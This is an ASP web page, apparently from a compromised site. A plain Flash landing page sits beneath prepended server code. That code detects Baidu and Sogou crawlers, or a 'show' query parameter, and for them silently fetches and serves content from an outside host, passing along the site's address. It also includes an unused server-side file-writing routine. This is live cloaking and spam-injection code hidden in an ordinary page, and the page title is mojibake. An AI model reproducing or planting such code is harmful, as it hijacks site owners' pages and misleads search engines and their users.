&lt;%
function is_search_bot()
dim s_agent
is_search_bot=false
s_agent=Request.ServerVariables(&quot;HTTP_USER_AGENT&quot;)
identify = Array(&quot;baiduspider&quot;,&quot;sogou spider&quot;)
for i=0 to ubound(identify)
	If instr(1,s_agent,identify(i),1) &gt;0 Then
		is_search_bot=True
		Exit   Function
	End If
next
end Function

If is_search_bot() Or Request.QueryString(&quot;show&quot;)&lt;&gt;&quot;&quot; Then
MyUrl=&quot;http://k1.zxrjgwzx.com/&quot;
charset=&quot;gbk&quot;
Server.ScriptTimeOut=9999999
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,charset)
End function

Function GetBody(url)
on error resume next
Set Retri = CreateObject(&quot;Microsoft.XMLHTTP&quot;)
With Retri
.Open &quot;Get&quot;, url, False, &quot;&quot;, &quot;&quot;
.Send
GetBody = .ResponseBody
End With
Set Retri = Nothing
End Function

Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject(&quot;adodb.stream&quot;)
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

Sub WriteToTextFile(FileUrl,byval Str) 
    set stm=server.CreateObject(&quot;adodb.stream&quot;)
    stm.Type=2
    stm.mode=3
    stm.charset=&quot;utf-8&quot;
    stm.open
        stm.WriteText str
    stm.SaveToFile server.MapPath(FileUrl),2 
    stm.flush
    stm.Close
    set stm=nothing
End Sub

t=DateDiff(&quot;s&quot;, &quot;1970-1-1 8:00:00&quot;, Now()) 
htmltype=Request.QueryString(&quot;type&quot;)
url = MyUrl+&quot;?charset=&quot;+charset+&quot;&host=&quot;+(Request.ServerVariables(&quot;HTTP_HOST&quot;) + Request.ServerVariables(&quot;URL&quot;))

if Request.QueryString(&quot;id&quot;)&lt;&gt;&quot;&quot; then
	url = url + &quot;&type=doc&id=&quot;+Request.QueryString(&quot;id&quot;) + &quot;&t=&quot; &t 
else
	url = url + &quot;&type=&quot;+htmltype+&quot;&id=&quot;+Request.QueryString(&quot;id&quot;) + &quot;&t=&quot; &t 
end if
html=getHTTPPage(url)

Response.Write(html)

response.End()
End If
%&gt;&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot; /&gt;
&lt;title&gt;鏄熼洦鍗庡簻&lt;/title&gt;
&lt;style type=&quot;text/css&quot;&gt; 
	
	/* hide from ie on mac \*/
	html{height:100%}
	
	#flashcontent {
		/*height: 768px;
		overflow:hidden;*/
	}
	/* end hide */
 
	body {
		height: 100%;
margin: 0px;
	background-color: #000;
	background-repeat: repeat;;
	}
&lt;/style&gt;
&lt;script src=&quot;Scripts/swfobject.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;/head&gt;
 
&lt;body&gt;
&lt;div id=&quot;flashcontent&quot;&gt;&lt;/div&gt;
	&lt;script type=&quot;text/javascript&quot;&gt;
		// &lt;![CDATA[
		var so = new SWFObject(&quot;info.swf&quot;, &quot;sotester&quot;, &quot;100%&quot;, &quot;100%&quot;, &quot;8&quot;, &quot;&quot;);
		so.addParam(&quot;scale&quot;, &quot;noscale&quot;);
		so.addParam(&quot;allowFullScreen&quot;,&quot;true&quot;);
		so.addParam(&quot;menu&quot;,&quot;false&quot;);
so.addParam(&quot;wmode&quot;,&quot;transparent&quot;);
		//so.addVariable(&quot;id&quot;,&quot;&quot;)
		so.write(&quot;flashcontent&quot;);
		// ]]&gt;
	&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;